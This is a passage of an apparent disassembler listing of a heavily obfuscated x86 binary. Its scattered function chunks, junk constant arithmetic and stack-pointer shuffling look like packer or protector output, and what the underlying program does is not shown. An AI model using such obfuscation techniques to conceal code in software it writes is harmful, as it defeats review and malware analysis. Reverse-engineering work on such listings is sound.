loc_5A336B:				; CODE XREF: sub_59F1F3:loc_5AAE6Cj
		dec	edi
		jmp	loc_5AD546
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3371:				; CODE XREF: sub_5AA2D1+476Aj
		push	ecx
		mov	ch, 0D0h
		add	dh, ch
		jmp	loc_599477
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5A337B:				; CODE XREF: sub_5A0924+9B82j
		not	eax
		jmp	loc_59B1A9
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A3382:				; CODE XREF: sub_59A479+9BE1j
		pop	edi
		push	eax
		mov	eax, 7EF67FA9h
		inc	eax
		push	6A50h
		mov	[esp+8+var_8], edi
		jmp	sub_5AF6AC
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5A3397:				; CODE XREF: sub_5ABB65+1E29j
		btc	[esp+0], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A33A2:				; CODE XREF: sub_5A9CF2+2j
					; sub_5992DA+116F2j
		not	byte ptr [esp+20h+var_22+3]
		pop	bx
		inc	bh
		js	loc_5A5987
		add	bh, 0CFh
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		push	ebp


loc_5A33BD:				; CODE XREF: sub_5A4886-8BACj
		mov	edx, 7172711Eh
		sub	edx, ecx
		jmp	loc_5AD73A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A33C9:				; CODE XREF: sub_59FE51+5BD6j
		xor	esi, [esp-8+arg_4]
		xor	[esp-8+arg_4], esi
		xor	esi, [esp-8+arg_4]
		pop	esp
		push	edx
		push	781Ch
		mov	[esp-4+arg_0], ebx
		mov	ebx, 7ACA62CCh
		push	edi
		mov	edi, 7ACA62C8h
		xor	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		jmp	loc_59A008
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_5A33F2:				; CODE XREF: sub_5A3C19-7590j
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		add	esp, 4
		sub	ecx, 4
		push	ecx
		push	[esp-8+arg_8]
		jmp	loc_5AB17F
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A340E:				; CODE XREF: sub_59F02F-3119j
		add	esp, 4
		push	edi
		mov	edi, 13753432h
		jmp	loc_5A2BF7
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A341F:				; CODE XREF: sub_5A2E41-4574j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_5AF88C
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3431:				; CODE XREF: sub_5AA2D1-C351j
		add	edi, esi
		jmp	loc_59F9F8
; ---------------------------------------------------------------------------


loc_5A3438:				; CODE XREF: sub_5AA2D1-997Aj
		mov	esp, [esp+4+var_4]
		add	al, bl
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	edx
		mov	dh, 40h
		jmp	loc_5AA608
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A344E:				; CODE XREF: sub_5AD795-3535j
		xor	al, 0CEh
		sub	al, 7Ch
		sub	cl, 8
		add	cl, al
		add	cl, 8
		pop	eax
		sub	cl, dl
		sub	cl, 0FCh
		pop	edx
		and	al, cl
		jmp	loc_5AEFC1
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5A3468:				; CODE XREF: sub_5A8215-DF2Fj
		mov	ebx, 6B516DC6h
		shl	ebx, 6
		shr	ebx, 7
		neg	ebx
		neg	ebx
		push	edi
		mov	edi, 5C84C12Ah
		add	ebx, edi
		pop	edi
		and	esi, ebx
		pop	ebx
		not	esi
		sub	esi, 0FFFFFFFFh
		sub	esi, 908AF081h
		add	ebp, 444B2B69h
		add	ebp, esi
		sub	ebp, 444B2B69h
		push	[esp+4+var_4]
		jmp	loc_5AEE86
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------


loc_5A34A7:				; CODE XREF: sdfs____:005AA092j
		mov	ebp, 72B02332h
		and	ebp, 6E141563h
		jmp	loc_59F2AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5A34B7:				; CODE XREF: sub_5A86D0-AEB2j
		push	edx
		jmp	loc_5A5911
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A34BD:				; CODE XREF: sub_59C979+251Aj
		sub	ecx, 3E4638F3h
		push	[esp-6+arg_2]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A1448
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A34D5:				; CODE XREF: sub_5A79BE+1242j
		or	ebx, 12CF36AAh
		push	72ECh
		mov	[esp+4+var_4], ecx
		push	esi
		mov	esi, 7F1A2374h
		jmp	loc_5AB536
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A34EE:				; CODE XREF: sub_5992DA+159C1j
		mov	ebx, [esp+26h+var_26]
		add	esp, 4
		pop	ecx
		not	ecx
		xchg	ecx, ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		xor	edx, 46670BC3h
		jle	loc_5AF75A
		dec	edx
		jnz	loc_5ACCBF
		jns	loc_5993C7
		push	edi


loc_5A351C:				; CODE XREF: sub_59A7E7+3ACDj
		push	dword ptr [edi+eax*4]
		push	[esp+26h+var_26]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	4926h
		jmp	loc_5A66BF
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4A0


loc_5A3530:				; CODE XREF: sub_59B4A0+F5A0j
		push	edi
		mov	edi, 0
		sub	edi, esi
		mov	esi, edi
		jmp	loc_59B081
; END OF FUNCTION CHUNK	FOR sub_59B4A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A353F:				; CODE XREF: sub_5AA2D1-9D11j
		xor	ebx, 3AE29D4Ah
		jmp	loc_5AC47E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E333


loc_5A354A:				; CODE XREF: sub_59E333+7DF8j
		pop	ecx
		pop	ebp
		sub	eax, esi
		push	[esp-8+arg_4]
		pop	esi
		add	esp, 4
		jmp	loc_5AD13B
; END OF FUNCTION CHUNK	FOR sub_59E333

; =============== S U B	R O U T	I N E =======================================



sub_5A355D	proc near		; DATA XREF: sdfs____:00598F64o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A5E61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8B96 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE23C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AEA40 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AFDAD SIZE 00000007 BYTES

		mov	cx, [esp+0]
		push	4F6Bh
		jmp	loc_5A8B96
sub_5A355D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF5FF


loc_5A356B:				; CODE XREF: sub_5AF5FF-1A97j
		xchg	ebx, [esp+0]
		pop	esp
		imul	ecx
		push	6AADh
		mov	[esp+0], edx
		push	eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AF5FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_5A3580:				; CODE XREF: sub_5B0377-154B4j
		sub	edi, 28F17EBDh
		add	edi, 452375EAh
		add	edi, edx
		sub	edi, 452375EAh
		jmp	loc_5A1AD4
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3599:				; CODE XREF: sub_5AA2D1-BED5j
		add	dl, 43h
		jmp	loc_5A04D0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_5A35A1:				; CODE XREF: sub_5A35F6+26j
		mov	[esp+4+var_4], eax
		jmp	loc_5AAEE8
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5A35A9:				; CODE XREF: sub_5AC18D-83B8j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3BFE


loc_5A35AE:				; CODE XREF: sub_5A3BFE+2916j
		pop	edi
		jmp	loc_59E277
; END OF FUNCTION CHUNK	FOR sub_5A3BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5A35B4:				; CODE XREF: sub_59F1F3+A66Ej
		add	ebx, 4
		jmp	loc_5A76B1
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------


loc_5A35BF:				; CODE XREF: sdfs____:005A718Cj
		add	edx, 4
		jmp	loc_5A513B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE9FA


loc_5A35CA:				; CODE XREF: sub_5AE9FA+1Ej
		mov	esi, edx
		pop	edx
		sub	edi, 0D03487h
		add	edi, 0A056699h
		add	edi, esi
		jmp	loc_5AFECA
; END OF FUNCTION CHUNK	FOR sub_5AE9FA
; ---------------------------------------------------------------------------


loc_5A35E0:				; CODE XREF: sdfs____:005AC798j
		add	edi, ebx
		add	edi, 1CCE7C6Ch
		sub	edi, 7B220964h
		push	dword ptr [esp]
		jmp	loc_59FA0E

; =============== S U B	R O U T	I N E =======================================



sub_5A35F6	proc near		; CODE XREF: sub_59E94B+110F6j

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059C004 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2F31 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A35A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A90CF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AAD00 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AAEE8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AC497 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE97E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AFB11 SIZE 0000000B BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		push	558D3763h
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	1DAAh
		jmp	loc_5A35A1
sub_5A35F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A3621:				; CODE XREF: sub_5A9EC5+12j
		push	eax
		mov	ah, 0Fh
		shl	ah, 1
		push	bx
		mov	bh, 24h
		add	ah, bh
		pop	bx
		xor	ah, 0BDh
		sub	bl, 5Fh
		sub	bl, ah
		jmp	loc_5ABE78
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_5A363B:				; CODE XREF: sub_5A81C4-31C7j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5AF358
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_5A3649:				; CODE XREF: sub_5A7746-9F09j
		or	edx, eax
		jmp	loc_5A75D0
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5A3650:				; CODE XREF: sub_59F1F3+895Fj
		sub	edi, ecx
		mov	ecx, [esp-4+arg_0]
		jmp	loc_5AE1BC
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5A365A:				; CODE XREF: sub_5B03B3-8541j
		push	edx
		mov	edx, 55873D93h
		not	edx
		push	ecx
		mov	ecx, 1
		push	ebx
		jmp	loc_5AD5B5
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------


loc_5A366E:				; CODE XREF: sdfs____:005AC4C5j
		mov	edi, 597E418Ah
		push	ecx
		mov	ecx, 72914E9Eh
		push	edi
		mov	edi, 0
		sub	edi, ecx
		jmp	loc_5A8D65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A3686:				; CODE XREF: sub_599A61+C221j
		and	esi, 1AB823CCh
		sub	esi, 0B35DC783h
		xor	eax, esi
		jmp	loc_5A31F5
; END OF FUNCTION CHUNK	FOR sub_599A61

; =============== S U B	R O U T	I N E =======================================



sub_5A3699	proc near		; CODE XREF: sub_5A5B27+AA7j

; FUNCTION CHUNK AT 0059AD02 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B63E SIZE 00000014 BYTES

		push	ebx
		mov	ebx, 2F8706ACh
		jmp	loc_59AD02
sub_5A3699	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A36A4:				; CODE XREF: sub_5A0FFF-565Dj
		add	esi, 5E7A41F5h
		sub	edx, esi
		pop	esi
		shr	edx, 4
		push	edi
		mov	edi, 0C1C7A13h
		xor	edx, edi
		jmp	loc_5A3F87
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1F28


loc_5A36BD:				; CODE XREF: sub_5A1F28+16j
		mov	ebx, 4
		sub	ebp, ebx
		jmp	loc_5A3DA1
; END OF FUNCTION CHUNK	FOR sub_5A1F28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A36C9:				; CODE XREF: sub_5A6BBC+6F3Dj
		add	ebp, edx
		mov	edx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		xchg	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	esi
		mov	esi, 298D060Ah
		sub	eax, esi
		pop	esi
		push	12B7h
		mov	[esp+0], ebx
		jmp	sub_5A039A
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A36FE:				; CODE XREF: sub_5A503A-413Ej
		pop	esi
		jmp	loc_5A214A
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------


loc_5A3704:				; CODE XREF: sdfs____:0059C3DAj
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bl, 46h
		mov	al, bl
		pop	ebx
		jmp	loc_5ACCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6EE8


loc_5A371C:				; CODE XREF: sub_5A6EE8+18j
		xchg	ebx, [esp+0]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, 24h
		sub	eax, 6B5E77EBh
		add	eax, edi
		add	eax, 6B5E77EBh
		push	ebx
		jmp	sub_5A3B60
; END OF FUNCTION CHUNK	FOR sub_5A6EE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A373C:				; CODE XREF: sub_5A18F6+2603j
		add	ebp, 0E174FFFh
		jbe	loc_5AB0EC
		jmp	sub_5A8931
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A374D:				; CODE XREF: sub_59C979+DA30j
		mov	ebx, 1E2A6B7Ch
		push	374Ch
		mov	dword ptr [esp+2+var_2], eax
		mov	eax, 62B62CDAh
		push	ebp
		mov	ebp, 3CFB3712h
		and	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 69E3614Ch
		sub	eax, 115E1C41h
		sub	eax, ebp
		push	ecx
		mov	ecx, 115E1C41h
		jmp	loc_59D376
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2F58


loc_5A3780:				; CODE XREF: sub_5A2F58-691Fj
		xor	ch, dl
		mov	dx, [esp+6+var_6]
		add	esp, 2
		inc	ch
		jz	loc_5A97A2
		jmp	loc_5A3B9E
; END OF FUNCTION CHUNK	FOR sub_5A2F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A3799:				; CODE XREF: sub_59C979+A69Dj
		push	[esp+0Ah+var_A]
		pop	esi
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 2934468Eh
		push	edi
		mov	edi, 6E684850h
		or	eax, edi
		pop	edi
		jmp	loc_5AA7F6
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_5A37C4:				; CODE XREF: sub_5A600D+2F0Ej
		jmp	loc_5A9AD3
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A37C9:				; CODE XREF: sub_5AA2D1-782Aj
		jmp	loc_5A7DB3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A37CE:				; CODE XREF: sub_5992DA+BDB9j
		push	[esp+2Eh+var_2E]
		mov	eax, [esp+32h+var_32]
		sub	esp, 4
		jmp	loc_59A1E2
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A37DF:				; CODE XREF: sub_59FC02+54DEj
		sub	edi, 0BBF8EF53h
		jmp	loc_59C70F
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A68A5


loc_5A37EA:				; CODE XREF: sub_5A68A5+3j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, 553D1217h
		add	ebp, ecx
		add	ebp, 553D1217h
		pop	ecx
		xchg	ebp, [esp+0]
		pop	esp
		push	esi
		push	74A6h
		mov	[esp+4+var_4], edi
		mov	edi, 1536381Eh
		mov	esi, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	edx
		mov	edx, 3A8F2078h
		xor	esi, edx
		pop	edx
		push	72F3h
		jmp	loc_5AAE87
; END OF FUNCTION CHUNK	FOR sub_5A68A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3832:				; CODE XREF: sub_5AA2D1+47ECj
		push	2513447Ah
		pop	esi
		dec	esi
		jmp	loc_5A280A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A383E:				; CODE XREF: sub_5A2E28-1AFFj
		sub	ecx, 78742A58h
		xor	[ecx], edx
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A384C:				; CODE XREF: sub_5AA2D1+3D9Ej
		push	6CA3h
		jmp	loc_59F7D2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A3856:				; CODE XREF: sub_59C979+1C9Ej
		push	eax
		push	edx
		mov	dh, 0D0h
		sub	dh, 45h
		push	ebx
		jmp	loc_5AEAD9
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A3863:				; CODE XREF: sub_5ADD33-E522j
		xor	[esp+0Ch+var_C], eax
		xor	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+4+var_4], edx
		jmp	loc_5AD373
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A3874:				; CODE XREF: sub_59A7E7+1218Cj
		inc	ah
		and	ah, 0C6h
		not	ah
		add	ah, 2Fh
		push	cx
		mov	ch, 88h
		jmp	loc_59F5E3
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_5A3887:				; CODE XREF: sub_59DE4B+9j
		mov	edi, 3A445539h
		not	edi
		neg	edi
		neg	edi
		add	edi, 3A44553Eh
		add	ebp, edi
		pop	edi
		sub	esp, 4
		jmp	loc_59D354
; END OF FUNCTION CHUNK	FOR sub_59DE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADBA5


loc_5A38A6:				; CODE XREF: sub_5ADBA5-13928j
		mov	esp, [esp+0]
		jmp	loc_5AB41B
; END OF FUNCTION CHUNK	FOR sub_5ADBA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A38AE:				; CODE XREF: sub_5A16B8+8C6Cj
		mov	edi, 15543848h
		sub	ebx, edi
		pop	edi
		jmp	loc_5A7B16
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A38BB:				; CODE XREF: sub_59D6B8+1214Cj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A38C0:				; CODE XREF: sub_59FC02+2Cj
		sub	ecx, 0F538BB1Fh
		push	ecx
		jmp	loc_5A4E47
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A38CC:				; CODE XREF: sub_59A26C+BFC4j
		pop	ebx
		sub	eax, 5F5B53A5h
		add	eax, esi
		push	ebp
		push	edi
		mov	edi, 32C826EAh
		push	edi
		jmp	loc_59F983
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A38E1:				; CODE XREF: sub_5AA2D1-E452j
		pop	eax
		add	bl, 8
		push	ax
		jmp	loc_5A3A81
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A38EC:				; CODE XREF: sub_5A4D9D-34F4j
		shl	eax, 1
		jz	loc_5A08B6
		xor	eax, 7CC0FABEh
		add	ebx, eax
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_5A0615
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE39


loc_5A3906:				; CODE XREF: sub_59AE39+10j
		push	edi
		mov	edi, 3F647Ch
		sub	eax, edi
		pop	edi
		add	eax, 123C6B60h
		add	eax, 371F19FDh
		jmp	loc_5A1F62
; END OF FUNCTION CHUNK	FOR sub_59AE39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A391E:				; CODE XREF: sub_5A0AA2-6F25j
		mov	esp, [esp+0]
		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	5575h
		push	1D12h
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	[esp+0Ch+var_C]
		jmp	loc_5AA348
; END OF FUNCTION CHUNK	FOR sub_5A0AA2

; =============== S U B	R O U T	I N E =======================================



sub_5A3947	proc near		; CODE XREF: sdfs____:0059C84Cj
					; sub_5AA2D1-8276j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059D51F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A40CB SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005AB724 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, 753A5BACh
		xchg	esi, ebx
		dec	esi
		push	ebx
		push	esi
		pop	ebx
		mov	esi, [esp+8+var_8]
		jmp	loc_5A40CB
sub_5A3947	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A395B:				; CODE XREF: sub_5A5AF2+2626j
					; sub_5992DA+16295j
		mov	ah, 0B8h
		dec	ah
		neg	ah
		jmp	loc_5AB27B
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A3966:				; CODE XREF: sub_5A580F+641Bj
		add	eax, 4
		add	eax, 4
		jmp	loc_59DEA8
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A3975:				; CODE XREF: sub_5ADD33-116E2j
		add	esi, 7DAC73D6h
		pop	ecx
		add	edx, esi
		pop	esi
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5AC61B
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A398A:				; CODE XREF: sub_5AA2D1-FD9Bj
		pop	esi
		push	ebx
		push	edx
		jmp	loc_5A9B77
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A3992	proc near		; CODE XREF: sub_5A041B+E5D4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B604 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D5B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DA36 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059DF1E SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0059EE9E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059F19A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F23A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1375 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A2945 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4297 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A45D5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A6E8B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9271 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AA6B0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AAB85 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AAC88 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB5F4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE859 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_5AE859
sub_5A3992	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A39A0:				; CODE XREF: sub_599A61+CD12j
		xor	edx, 0FF60F386h
		neg	edx
		dec	edx
		xor	edx, 733D4D10h
		not	edx
		shl	edx, 4
		add	edx, 0A59F2A24h
		sub	ebp, edx
		jmp	loc_59934D
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------


loc_5A39C1:				; CODE XREF: sdfs____:005AF912j
		mov	ebp, esp
		push	eax
		mov	eax, 4
		sub	ebp, 3A100D08h
		add	ebp, eax
		add	ebp, 3A100D08h
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	al, 0CDh
		add	dh, al
		jmp	loc_5AC79D
; ---------------------------------------------------------------------------


